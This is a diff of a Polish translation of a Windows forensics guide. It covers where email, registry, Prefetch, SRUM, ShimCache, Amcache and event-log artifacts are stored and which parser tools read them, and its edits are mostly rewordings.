Ta konfiguracja zapewnia regularną konserwację i czyszczenie sterowników, z postanowieniami dotyczącymi ponownej próby wykonania zadania w przypadku kolejnych niepowodzeń.
|
||||
Ta konfiguracja zapewnia regularną konserwację i czyszczenie sterowników, z postanowieniami o ponownym podejmowaniu próby zadania w przypadku kolejnych niepowodzeń.
|
||||
|
||||
**Aby uzyskać więcej informacji, sprawdź:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
## Emaile
|
||||
## E-maile
|
||||
|
||||
Emaile zawierają **2 interesujące części: Nagłówki i treść** emaila. W **nagłówkach** można znaleźć informacje takie jak:
|
||||
E-maile zawierają **2 interesujące części: nagłówki i treść** e-maila. W **nagłówkach** możesz znaleźć informacje takie jak:
|
||||
|
||||
* **Kto** wysłał emaile (adres email, IP, serwery poczty, które przekierowały email)
|
||||
* **Kiedy** email został wysłany
|
||||
* **Kto** wysłał e-maile (adres e-mail, IP, serwery pocztowe, które przekierowały e-mail)
|
||||
* **Kiedy** e-mail został wysłany
|
||||
|
||||
Ponadto, w nagłówkach `References` i `In-Reply-To` można znaleźć ID wiadomości:
|
||||
Ponadto, w nagłówkach `References` i `In-Reply-To` możesz znaleźć ID wiadomości:
|
||||
|
||||
![](<../../../.gitbook/assets/image (593).png>)
|
||||
|
||||
### Aplikacja Poczty w systemie Windows
|
||||
### Aplikacja Poczta systemu Windows
|
||||
|
||||
Ta aplikacja zapisuje emaile w formacie HTML lub tekstowym. Emaile można znaleźć w podfolderach w `\Users\<nazwa_użytkownika>\AppData\Local\Comms\Unistore\data\3\`. Emaile są zapisywane z rozszerzeniem `.dat`.
|
||||
Ta aplikacja zapisuje e-maile w formacie HTML lub tekstowym. Możesz znaleźć e-maile w podfolderach w `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. E-maile są zapisywane z rozszerzeniem `.dat`.
|
||||
|
||||
**Metadane** emaili i **kontakty** można znaleźć w bazie danych **EDB**: `\Users\<nazwa_użytkownika>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
**Metadane** e-maili i **kontakty** można znaleźć w **bazie danych EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
**Zmień rozszerzenie** pliku z `.vol` na `.edb`, a następnie możesz użyć narzędzia [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), aby go otworzyć. W tabeli `Message` można zobaczyć emaile.
|
||||
**Zmień rozszerzenie** pliku z `.vol` na `.edb`, a możesz użyć narzędzia [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), aby go otworzyć. W tabeli `Message` możesz zobaczyć e-maile.
|
||||
|
||||
### Microsoft Outlook
|
||||
|
||||
Kiedy są używane serwery Exchange lub klienci Outlook, będą pewne nagłówki MAPI:
|
||||
Gdy używane są serwery Exchange lub klienci Outlook, będą tam pewne nagłówki MAPI:
|
||||
|
||||
* `Mapi-Client-Submit-Time`: Czas systemowy, kiedy email został wysłany
|
||||
* `Mapi-Conversation-Index`: Liczba wiadomości potomnych wątku i znacznik czasu każdej wiadomości wątku
|
||||
* `Mapi-Client-Submit-Time`: Czas systemu, kiedy e-mail został wysłany
|
||||
* `Mapi-Conversation-Index`: Liczba wiadomości dziecięcych w wątku i znacznik czasu każdej wiadomości w wątku
|
||||
* `Mapi-Entry-ID`: Identyfikator wiadomości.
|
||||
* `Mappi-Message-Flags` i `Pr_last_Verb-Executed`: Informacje o kliencie MAPI (wiadomość przeczytana? nieprzeczytana? odpowiedziana? przekierowana? poza biurem?)
|
||||
* `Mappi-Message-Flags` i `Pr_last_Verb-Executed`: Informacje o kliencie MAPI (wiadomość przeczytana? nieprzeczytana? odpowiedziano? przekierowano? nieobecny w biurze?)
|
||||
|
||||
W kliencie Microsoft Outlook, wszystkie wysłane/odebrane wiadomości, dane kontaktów i kalendarza są przechowywane w pliku PST w:
|
||||
W kliencie Microsoft Outlook wszystkie wysłane/odebrane wiadomości, dane kontaktowe i dane kalendarza są przechowywane w pliku PST w:
|
||||
|
||||
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
||||
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||
|
||||
Ścieżka rejestru `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` wskazuje na używany plik.
|
||||
Ścieżka rejestru `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` wskazuje na plik, który jest używany.
|
||||
|
||||
Możesz otworzyć plik PST za pomocą narzędzia [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
|
||||
Możesz otworzyć plik PST używając narzędzia [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
|
||||
|
||||
![](<../../../.gitbook/assets/image (498).png>)
|
||||
### Pliki OST programu Microsoft Outlook
|
||||
|
||||
Plik **OST** jest generowany przez program Microsoft Outlook, gdy jest skonfigurowany z serwerem **IMAP** lub **Exchange**, przechowując podobne informacje jak plik PST. Ten plik jest zsynchronizowany z serwerem, przechowując dane z **ostatnich 12 miesięcy** do **maksymalnego rozmiaru 50 GB**, i znajduje się w tym samym katalogu co plik PST. Aby wyświetlić plik OST, można skorzystać z [**przeglądarki Kernel OST**](https://www.nucleustechnologies.com/ost-viewer.html).
|
||||
### Pliki Microsoft Outlook OST
|
||||
|
||||
### Odzyskiwanie załączników
|
||||
Plik **OST** jest generowany przez Microsoft Outlook, gdy jest skonfigurowany z **IMAP** lub serwerem **Exchange**, przechowując podobne informacje do pliku PST. Ten plik jest synchronizowany z serwerem, zachowując dane przez **ostatnie 12 miesięcy** do **maksymalnego rozmiaru 50 GB**, i znajduje się w tym samym katalogu co plik PST. Aby wyświetlić plik OST, można wykorzystać [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
|
||||
|
||||
Zgubione załączniki mogą być odzyskiwalne z:
|
||||
### Przywracanie załączników
|
||||
|
||||
Zgubione załączniki mogą być odzyskiwane z:
|
||||
|
||||
* Dla **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
* Dla **IE11 i nowszych**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Pliki MBOX programu Thunderbird
|
||||
### Pliki MBOX Thunderbirda
|
||||
|
||||
**Thunderbird** wykorzystuje pliki **MBOX** do przechowywania danych, znajdujące się w `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||
**Thunderbird** wykorzystuje **pliki MBOX** do przechowywania danych, znajdujące się w `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||
|
||||
### Miniatury obrazów
|
||||
|
||||
* **Windows XP i 8-8.1**: Otwarcie folderu z miniaturami generuje plik `thumbs.db`, przechowujący podglądy obrazów, nawet po ich usunięciu.
|
||||
* **Windows 7/10**: `thumbs.db` jest tworzony podczas dostępu przez sieć za pomocą ścieżki UNC.
|
||||
* **Windows Vista i nowsze**: Podglądy miniatur są skoncentrowane w `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` z plikami o nazwach **thumbcache\_xxx.db**. Narzędzia [**Thumbsviewer**](https://thumbsviewer.github.io) i [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) służą do przeglądania tych plików.
|
||||
* **Windows XP i 8-8.1**: Uzyskanie dostępu do folderu z miniaturami generuje plik `thumbs.db`, który przechowuje podglądy obrazów, nawet po usunięciu.
|
||||
* **Windows 7/10**: `thumbs.db` jest tworzony, gdy uzyskuje się dostęp przez sieć za pomocą ścieżki UNC.
|
||||
* **Windows Vista i nowsze**: Podglądy miniatur są centralizowane w `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` z plikami nazwanymi **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) i [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) to narzędzia do przeglądania tych plików.
|
||||
|
||||
### Informacje z Rejestru systemu Windows
|
||||
### Informacje rejestru systemu Windows
|
||||
|
||||
Rejestr systemu Windows, przechowujący rozległe dane dotyczące działalności systemu i użytkownika, znajduje się w plikach:
|
||||
Rejestr systemu Windows, przechowujący obszerne dane o aktywności systemu i użytkownika, znajduje się w plikach w:
|
||||
|
||||
* `%windir%\System32\Config` dla różnych podkluczy `HKEY_LOCAL_MACHINE`.
|
||||
* `%UserProfile%{User}\NTUSER.DAT` dla `HKEY_CURRENT_USER`.
|
||||
* Windows Vista i nowsze wersje tworzą kopie zapasowe plików rejestru `HKEY_LOCAL_MACHINE` w `%Windir%\System32\Config\RegBack\`.
|
||||
* Dodatkowo, informacje o wykonaniu programu są przechowywane w `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` od Windows Vista i Windows 2008 Server.
|
||||
* Dodatkowo, informacje o wykonaniu programów są przechowywane w `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` od Windows Vista i Windows 2008 Server wzwyż.
|
||||
|
||||
### Narzędzia
|
||||
|
||||
Niektóre narzędzia są przydatne do analizy plików rejestru:
|
||||
|
||||
* **Edytor rejestru**: Zainstalowany w systemie Windows. Jest to interfejs graficzny do nawigacji po rejestrze systemu Windows bieżącej sesji.
|
||||
* [**Eksplorator rejestru**](https://ericzimmerman.github.io/#!index.md): Pozwala na załadowanie pliku rejestru i nawigację po nim za pomocą interfejsu graficznego. Zawiera zakładki z wyróżnionymi kluczami zawierającymi interesujące informacje.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ponownie, posiada interfejs graficzny umożliwiający nawigację po załadowanym rejestrze i zawiera wtyczki wyróżniające interesujące informacje w załadowanym rejestrze.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Kolejna aplikacja z interfejsem graficznym zdolna do wyodrębniania istotnych informacji z załadowanego rejestru.
|
||||
* **Edytor rejestru**: Jest zainstalowany w systemie Windows. To GUI do nawigacji przez rejestr Windows bieżącej sesji.
|
||||
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Umożliwia załadowanie pliku rejestru i nawigację przez nie za pomocą GUI. Zawiera również zakładki podkreślające klucze z interesującymi informacjami.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ponownie, ma GUI, które pozwala na nawigację przez załadowany rejestr i zawiera również wtyczki, które podkreślają interesujące informacje w załadowanym rejestrze.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Inna aplikacja GUI zdolna do wydobywania ważnych informacji z załadowanego rejestru.
|
||||
|
||||
### Odzyskiwanie usuniętego elementu
|
||||
|
||||
Gdy klucz jest usunięty, jest oznaczony jako taki, ale dopóki zajmowane przez niego miejsce nie jest potrzebne, nie zostanie usunięty. Dlatego, korzystając z narzędzi takich jak **Eksplorator rejestru**, możliwe jest odzyskanie tych usuniętych kluczy.
|
||||
Gdy klucz jest usuwany, jest oznaczany jako taki, ale dopóki przestrzeń, którą zajmuje, nie jest potrzebna, nie zostanie usunięty. Dlatego używając narzędzi takich jak **Registry Explorer**, możliwe jest odzyskanie tych usuniętych kluczy.
|
||||
|
||||
### Czas ostatniej modyfikacji
|
||||
### Ostatni czas zapisu
|
||||
|
||||
Każdy klucz-wartość zawiera **znacznik czasu**, wskazujący ostatni czas modyfikacji.
|
||||
Każda para klucz-wartość zawiera **znacznik czasu** wskazujący ostatni czas, kiedy została zmodyfikowana.
|
||||
|
||||
### SAM
|
||||
|
||||
Plik/hive **SAM** zawiera hashe **użytkowników, grup i haseł użytkowników** systemu.
|
||||
Plik/hive **SAM** zawiera **użytkowników, grupy i hashe haseł użytkowników** systemu.
|
||||
|
||||
W `SAM\Domains\Account\Users` można uzyskać nazwę użytkownika, RID, ostatnie logowanie, ostatnie nieudane logowanie, licznik logowań, politykę haseł i datę utworzenia konta. Aby uzyskać **hashe**, potrzebny jest również plik/hive **SYSTEM**.
|
||||
W `SAM\Domains\Account\Users` możesz uzyskać nazwę użytkownika, RID, ostatnie logowanie, ostatnie nieudane logowanie, licznik logowania, politykę haseł i kiedy konto zostało utworzone. Aby uzyskać **hashe**, musisz również **mieć** plik/hive **SYSTEM**.
|
||||
|
||||
### Interesujące wpisy w rejestrze systemu Windows
|
||||
|
||||
|
@ -281,27 +285,27 @@ W `SAM\Domains\Account\Users` można uzyskać nazwę użytkownika, RID, ostatnie
|
|||
|
||||
### Podstawowe procesy systemu Windows
|
||||
|
||||
W [tym poście](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) możesz dowiedzieć się o powszechnych procesach systemu Windows, aby wykryć podejrzane zachowania.
|
||||
W [tym poście](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) możesz dowiedzieć się o wspólnych procesach systemu Windows, aby wykryć podejrzane zachowania.
|
||||
|
||||
### Ostatnie aplikacje systemu Windows
|
||||
|
||||
W rejestrze `NTUSER.DAT` w ścieżce `Software\Microsoft\Current Version\Search\RecentApps` można znaleźć podklucze z informacjami o **uruchomionej aplikacji**, **ostatnim czasie** jej uruchomienia i **liczbie uruchomień**.
|
||||
W rejestrze `NTUSER.DAT` w ścieżce `Software\Microsoft\Current Version\Search\RecentApps` możesz znaleźć podklucze z informacjami o **wykonanej aplikacji**, **ostatnim czasie**, kiedy była wykonywana, oraz **liczbie razy**, kiedy była uruchamiana.
|
||||
|
||||
### BAM (Moderator aktywności w tle)
|
||||
### BAM (Moderator Aktywności w Tle)
|
||||
|
||||
Można otworzyć plik `SYSTEM` za pomocą edytora rejestru i w ścieżce `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` znaleźć informacje o **aplikacjach uruchomionych przez każdego użytkownika** (zwróć uwagę na `{SID}` w ścieżce) i **czasie** ich uruchomienia (czas znajduje się w wartości danych rejestru).
|
||||
Możesz otworzyć plik `SYSTEM` za pomocą edytora rejestru, a w ścieżce `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` możesz znaleźć informacje o **aplikacjach wykonywanych przez każdego użytkownika** (zauważ `{SID}` w ścieżce) oraz **o której godzinie** były wykonywane (czas znajduje się w wartości danych rejestru).
|
||||
|
||||
### Prefetch systemu Windows
|
||||
|
||||
Prefetching to technika, która pozwala komputerowi cicho **pobrać niezbędne zasoby potrzebne do wyświetlenia treści**, do których użytkownik **może mieć dostęp w najbliższej przyszłości**, aby zasoby można było szybciej uzyskać.
|
||||
Prefetching to technika, która pozwala komputerowi cicho **pobierać niezbędne zasoby potrzebne do wyświetlenia treści**, do której użytkownik **może uzyskać dostęp w niedalekiej przyszłości**, aby zasoby mogły być szybciej dostępne.
|
||||
|
||||
Prefetch systemu Windows polega na tworzeniu **pamięci podręcznej wykonanych programów**, aby można je było szybciej załadować. Te pamięci podręczne są tworzone jako pliki `.pf` w ścieżce: `C:\Windows\Prefetch`. Istnieje limit 128 plików w XP/VISTA/WIN7 i 1024 plików w Win8/Win10.
|
||||
Prefetch systemu Windows polega na tworzeniu **cache'ów wykonanych programów**, aby móc je ładować szybciej. Te cache są tworzone jako pliki `.pf` w ścieżce: `C:\Windows\Prefetch`. Istnieje limit 128 plików w XP/VISTA/WIN7 i 1024 plików w Win8/Win10.
|
||||
|
||||
Nazwa pliku jest tworzona jako `{nazwa_programu}-{hash}.pf` (hash jest oparty na ścieżce i argumentach wykonywalnego pliku). W W10 te pliki są skompresowane. Należy zauważyć, że sama obecność pliku wskazuje, że **program został wykonany** w pewnym momencie.
|
||||
Nazwa pliku jest tworzona jako `{program_name}-{hash}.pf` (hash jest oparty na ścieżce i argumentach wykonywalnych). W W10 te pliki są skompresowane. Zauważ, że sama obecność pliku wskazuje, że **program był wykonywany** w pewnym momencie.
|
||||
|
||||
Plik `C:\Windows\Prefetch\Layout.ini` zawiera **nazwy folderów plików prefetched**. Ten plik zawiera **informacje o liczbie uruchomień**, **daty** uruchomienia i **plików** **otwartych** przez program.
|
||||
Plik `C:\Windows\Prefetch\Layout.ini` zawiera **nazwy folderów plików, które są prefetchowane**. Ten plik zawiera **informacje o liczbie wykonania**, **datach** wykonania i **plikach** **otwartych** przez program.
|
||||
|
||||
Aby przejrzeć te pliki, można użyć narzędzia [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||
Aby sprawdzić te pliki, możesz użyć narzędzia [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
|
@ -309,21 +313,21 @@ Aby przejrzeć te pliki, można użyć narzędzia [**PEcmd.exe**](https://github
|
|||
|
||||
### Superprefetch
|
||||
|
||||
**Superprefetch** ma ten sam cel co prefetch, **szybsze ładowanie programów** poprzez przewidywanie, co zostanie załadowane następnie. Jednak nie zastępuje usługi prefetch.\
|
||||
**Superprefetch** ma ten sam cel co prefetch, **szybsze ładowanie programów** poprzez przewidywanie, co będzie ładowane następnie. Jednak nie zastępuje usługi prefetch.\
|
||||
Ta usługa generuje pliki bazy danych w `C:\Windows\Prefetch\Ag*.db`.
|
||||
|
||||
W tych bazach danych można znaleźć **nazwę programu**, **liczbę wykonanych operacji**, **otwarte pliki**, **dostęp do woluminu**, **pełną ścieżkę**, **ramy czasowe** i **znaczniki czasu**.
|
||||
W tych bazach danych można znaleźć **nazwę** **programu**, **liczbę** **wykonań**, **otwarte** **pliki**, **dostępny** **wolumin**, **pełną** **ścieżkę**, **ramy czasowe** i **znaczniki czasu**.
|
||||
|
||||
Możesz uzyskać dostęp do tych informacji za pomocą narzędzia [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
|
||||
|
||||
### SRUM
|
||||
|
||||
**System Monitor Zużycia Zasobów** (SRUM) **monitoruje** **zasoby zużywane przez proces**. Pojawił się w W8 i przechowuje dane w bazie danych ESE znajdującej się w `C:\Windows\System32\sru\SRUDB.dat`.
|
||||
**System Resource Usage Monitor** (SRUM) **monitoruje** **zasoby** **zużywane** **przez proces**. Pojawił się w W8 i przechowuje dane w bazie danych ESE znajdującej się w `C:\Windows\System32\sru\SRUDB.dat`.
|
||||
|
||||
Dostarcza następujące informacje:
|
||||
Daje następujące informacje:
|
||||
|
||||
* AppID i ścieżka
|
||||
* Użytkownik, który uruchomił proces
|
||||
* AppID i Ścieżka
|
||||
* Użytkownik, który wykonał proces
|
||||
* Wysłane bajty
|
||||
* Odebrane bajty
|
||||
* Interfejs sieciowy
|
||||
|
@ -332,183 +336,185 @@ Dostarcza następujące informacje:
|
|||
|
||||
Te informacje są aktualizowane co 60 minut.
|
||||
|
||||
Możesz uzyskać dane z tego pliku za pomocą narzędzia [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
|
||||
Możesz uzyskać datę z tego pliku za pomocą narzędzia [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
|
||||
```bash
|
||||
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
|
||||
```
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
**AppCompatCache**, znany również jako **ShimCache**, stanowi część **Bazy danych zgodności aplikacji** opracowanej przez **Microsoft** w celu rozwiązywania problemów zgodności aplikacji. Ten komponent systemu rejestruje różne elementy metadanych plików, w tym:
|
||||
**AppCompatCache**, znany również jako **ShimCache**, jest częścią **Bazy Danych Zgodności Aplikacji** opracowanej przez **Microsoft** w celu rozwiązania problemów z kompatybilnością aplikacji. Ten komponent systemowy rejestruje różne elementy metadanych plików, które obejmują:
|
||||
|
||||
- Pełna ścieżka pliku
|
||||
- Rozmiar pliku
|
||||
- Czas ostatniej modyfikacji w **$Standard\_Information** (SI)
|
||||
- Czas ostatniej aktualizacji ShimCache
|
||||
- Flagę wykonania procesu
|
||||
* Pełna ścieżka do pliku
|
||||
* Rozmiar pliku
|
||||
* Czas ostatniej modyfikacji w **$Standard\_Information** (SI)
|
||||
* Czas ostatniej aktualizacji ShimCache
|
||||
* Flaga wykonania procesu
|
||||
|
||||
Takie dane są przechowywane w rejestrze w określonych lokalizacjach w zależności od wersji systemu operacyjnego:
|
||||
|
||||
- Dla systemu XP dane są przechowywane w `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` z pojemnością na 96 wpisów.
|
||||
- Dla Servera 2003 oraz dla wersji systemu Windows 2008, 2012, 2016, 7, 8 i 10 ścieżka przechowywania to `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, z pojemnością na odpowiednio 512 i 1024 wpisy.
|
||||
* Dla XP dane są przechowywane pod `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` z pojemnością 96 wpisów.
|
||||
* Dla Server 2003, a także dla wersji Windows 2008, 2012, 2016, 7, 8 i 10, ścieżka przechowywania to `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, mieszcząca odpowiednio 512 i 1024 wpisy.
|
||||
|
||||
Do analizy przechowywanych informacji zaleca się użycie narzędzia [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
|
||||
Aby przeanalizować przechowywane informacje, zaleca się użycie narzędzia [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
|
||||
|
||||
![](<../../../.gitbook/assets/image (75).png>)
|
||||
|
||||
### Amcache
|
||||
|
||||
Plik **Amcache.hve** to w zasadzie rejestr hive, który rejestruje szczegóły dotyczące aplikacji uruchomionych na systemie. Zazwyczaj znajduje się w `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
Plik **Amcache.hve** jest zasadniczo hives rejestru, który rejestruje szczegóły dotyczące aplikacji, które zostały uruchomione w systemie. Zwykle znajduje się w `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
Ten plik jest znany z przechowywania rekordów niedawno uruchomionych procesów, w tym ścieżek do plików wykonywalnych i ich skrótów SHA1. Te informacje są nieocenione do śledzenia aktywności aplikacji na systemie.
|
||||
Plik ten jest znany z przechowywania zapisów niedawno uruchomionych procesów, w tym ścieżek do plików wykonywalnych i ich skrótów SHA1. Informacje te są nieocenione do śledzenia aktywności aplikacji w systemie.
|
||||
|
||||
Aby wydobyć i przeanalizować dane z pliku **Amcache.hve**, można użyć narzędzia [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Poniższa komenda jest przykładem użycia AmcacheParser do analizy zawartości pliku **Amcache.hve** i wyświetlenia wyników w formacie CSV:
|
||||
Aby wyodrębnić i przeanalizować dane z **Amcache.hve**, można użyć narzędzia [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Poniższe polecenie jest przykładem, jak użyć AmcacheParser do analizy zawartości pliku **Amcache.hve** i wyjścia wyników w formacie CSV:
|
||||
```bash
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
Wśród wygenerowanych plików CSV szczególnie godne uwagi są `Amcache_Unassociated file entries` ze względu na bogate informacje, jakie dostarcza na temat niepowiązanych wpisów plików.
|
||||
Wśród wygenerowanych plików CSV, `Amcache_Unassociated file entries` jest szczególnie godny uwagi ze względu na bogate informacje, jakie dostarcza o niepowiązanych wpisach plików.
|
||||
|
||||
Najbardziej interesującym plikiem CVS jest `Amcache_Unassociated file entries`.
|
||||
Najciekawszym plikiem CVS jest `Amcache_Unassociated file entries`.
|
||||
|
||||
### RecentFileCache
|
||||
|
||||
Ten artefakt można znaleźć tylko w W7 w `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` i zawiera informacje o ostatnim wykonaniu niektórych plików binarnych.
|
||||
Ten artefakt można znaleźć tylko w W7 w `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` i zawiera informacje o niedawnych wykonaniach niektórych binariów.
|
||||
|
||||
Możesz użyć narzędzia [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) do analizy pliku.
|
||||
|
||||
### Zadania zaplanowane
|
||||
### Zaplanowane zadania
|
||||
|
||||
Możesz je wyodrębnić z `C:\Windows\Tasks` lub `C:\Windows\System32\Tasks` i odczytać jako XML.
|
||||
|
||||
### Usługi
|
||||
|
||||
Możesz je znaleźć w rejestrze pod `SYSTEM\ControlSet001\Services`. Możesz zobaczyć, co ma zostać wykonane i kiedy.
|
||||
Możesz je znaleźć w rejestrze pod `SYSTEM\ControlSet001\Services`. Możesz zobaczyć, co ma być wykonane i kiedy.
|
||||
|
||||
### **Sklep Windows**
|
||||
### **Windows Store**
|
||||
|
||||
Zainstalowane aplikacje można znaleźć w `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
Ten repozytorium zawiera **dziennik** z **każdą zainstalowaną aplikacją** w systemie wewnątrz bazy danych **`StateRepository-Machine.srd`**.
|
||||
To repozytorium ma **log** z **każdą zainstalowaną aplikacją** w systemie wewnątrz bazy danych **`StateRepository-Machine.srd`**.
|
||||
|
||||
W tabeli Aplikacji tej bazy danych można znaleźć kolumny: "ID aplikacji", "Numer pakietu" i "Nazwa wyświetlana". Te kolumny zawierają informacje o aplikacjach preinstalowanych i zainstalowanych, a można znaleźć informacje, czy niektóre aplikacje zostały odinstalowane, ponieważ identyfikatory zainstalowanych aplikacji powinny być sekwencyjne.
|
||||
W tabeli Aplikacji tej bazy danych można znaleźć kolumny: "Application ID", "PackageNumber" i "Display Name". Kolumny te zawierają informacje o aplikacjach wstępnie zainstalowanych i zainstalowanych, a także można sprawdzić, czy niektóre aplikacje zostały odinstalowane, ponieważ identyfikatory zainstalowanych aplikacji powinny być sekwencyjne.
|
||||
|
||||
Możliwe jest również **znalezienie zainstalowanej aplikacji** w ścieżce rejestru: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
Można również **znaleźć zainstalowane aplikacje** w ścieżce rejestru: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
A **odinstalowane** **aplikacje** w: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
|
||||
## Zdarzenia systemu Windows
|
||||
## Wydarzenia Windows
|
||||
|
||||
Informacje pojawiające się w zdarzeniach systemu Windows to:
|
||||
Informacje, które pojawiają się w wydarzeniach Windows, to:
|
||||
|
||||
* Co się stało
|
||||
* Znacznik czasu (UTC + 0)
|
||||
* Użytkownicy zaangażowani
|
||||
* Hosty zaangażowane (nazwa hosta, IP)
|
||||
* Zasoby dostępne (pliki, folder, drukarki, usługi)
|
||||
* Zasoby dostępne (pliki, folder, drukarka, usługi)
|
||||
|
||||
Dzienniki znajdują się w `C:\Windows\System32\config` przed Windows Vista i w `C:\Windows\System32\winevt\Logs` po Windows Vista. Przed Windows Vista dzienniki zdarzeń były w formacie binarnym, a po nim są w **formacie XML** i używają rozszerzenia **.evtx**.
|
||||
Logi znajdują się w `C:\Windows\System32\config` przed Windows Vista i w `C:\Windows\System32\winevt\Logs` po Windows Vista. Przed Windows Vista logi zdarzeń były w formacie binarnym, a po nim są w **formacie XML** i używają rozszerzenia **.evtx**.
|
||||
|
||||
Lokalizację plików zdarzeń można znaleźć w rejestrze SYSTEM w **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||
Lokalizacja plików zdarzeń może być znaleziona w rejestrze SYSTEM w **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||
|
||||
Mogą być wizualizowane za pomocą Podglądu zdarzeń systemu Windows (**`eventvwr.msc`**) lub za pomocą innych narzędzi, takich jak [**Event Log Explorer**](https://eventlogxp.com) **lub** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
Mogą być wizualizowane z Podglądu zdarzeń Windows (**`eventvwr.msc`**) lub za pomocą innych narzędzi, takich jak [**Event Log Explorer**](https://eventlogxp.com) **lub** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
|
||||
## Zrozumienie Logowania Zdarzeń Bezpieczeństwa Windows
|
||||
## Zrozumienie rejestrowania zdarzeń zabezpieczeń Windows
|
||||
|
||||
Zdarzenia dostępu są rejestrowane w pliku konfiguracji zabezpieczeń znajdującym się w `C:\Windows\System32\winevt\Security.evtx`. Rozmiar tego pliku jest możliwy do dostosowania, a gdy osiągnie swoją pojemność, starsze zdarzenia są nadpisywane. Rejestrowane zdarzenia obejmują logowanie i wylogowanie użytkowników, działania użytkowników, zmiany ustawień zabezpieczeń, a także dostęp do plików, folderów i zasobów udostępnionych.
|
||||
Zdarzenia dostępu są rejestrowane w pliku konfiguracyjnym zabezpieczeń znajdującym się w `C:\Windows\System32\winevt\Security.evtx`. Rozmiar tego pliku jest regulowany, a gdy jego pojemność zostanie osiągnięta, starsze zdarzenia są nadpisywane. Zarejestrowane zdarzenia obejmują logowania i wylogowania użytkowników, działania użytkowników oraz zmiany w ustawieniach zabezpieczeń, a także dostęp do plików, folderów i wspólnych zasobów.
|
||||
|
||||
### Kluczowe identyfikatory zdarzeń dla uwierzytelniania użytkownika:
|
||||
### Kluczowe identyfikatory zdarzeń dla uwierzytelniania użytkowników:
|
||||
|
||||
* **EventID 4624**: Wskazuje na pomyślne uwierzytelnienie użytkownika.
|
||||
* **EventID 4624**: Wskazuje, że użytkownik pomyślnie się uwierzytelnił.
|
||||
* **EventID 4625**: Sygnalizuje niepowodzenie uwierzytelnienia.
|
||||
